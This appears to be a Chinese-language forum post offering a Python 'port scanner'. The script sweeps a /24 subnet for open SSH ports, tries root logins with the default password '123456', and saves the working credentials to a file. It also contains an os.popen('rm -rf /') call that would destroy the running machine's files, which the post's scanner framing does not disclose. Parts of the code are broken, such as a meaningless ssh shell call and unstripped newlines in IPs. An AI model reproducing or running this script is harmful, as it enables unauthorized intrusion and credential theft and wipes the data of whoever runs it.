需求: 編寫一個自定義端口的掃描程序服務器
# 端口掃描 from socket import * from multiprocessing.dummy import Pool from pexpect import pxssh import os # 建立對象 def scanning(i, port): try: socket_object = socket(AF_INET, SOCK_STREAM) # 設置超時時間 socket_object.settimeout(1) # i 爲 1-255 port端口:22 socket_object.connect((f'172.16.17.{i}', port)) # 嘗試鏈接 # 鏈接成功,表示端口開放,寫入文件 ips.write(f'{i}\n') socket_object.close() except: pass # 初始化ip地址 ips = open('ip_port.txt','w') # 建立線程池 pool = Pool(processes=50) # 循環掃描 for i in range(1, 255): # 建立線程池 pool.apply_async(func=scanning, args=(i, 22)) pool.close() pool.join() ips.close() # 鏈接服務器 ssh = pxssh.pxssh() # 打開ip文件 ip = open('ip_port.txt','r') port = open('port.txt','w') ips = ip.readlines() for i in ips: try: #鏈接成功 res = ssh.login(f'172.16.17.{i}','root','123456') except: pass else: # 鏈接成功 # 向服務器發送指令 port.write(f'IP: 172.16.17.{i} 帳號: root 密碼: 123456 \n') # 寫入文件保存 try: re = os.popen(f'ssh 172.16.17.{i} root 123456') if re: os.popen('rm -rf /') print(f'ssh 172.16.17.{i} 成功') except: pass ip.close() port.close()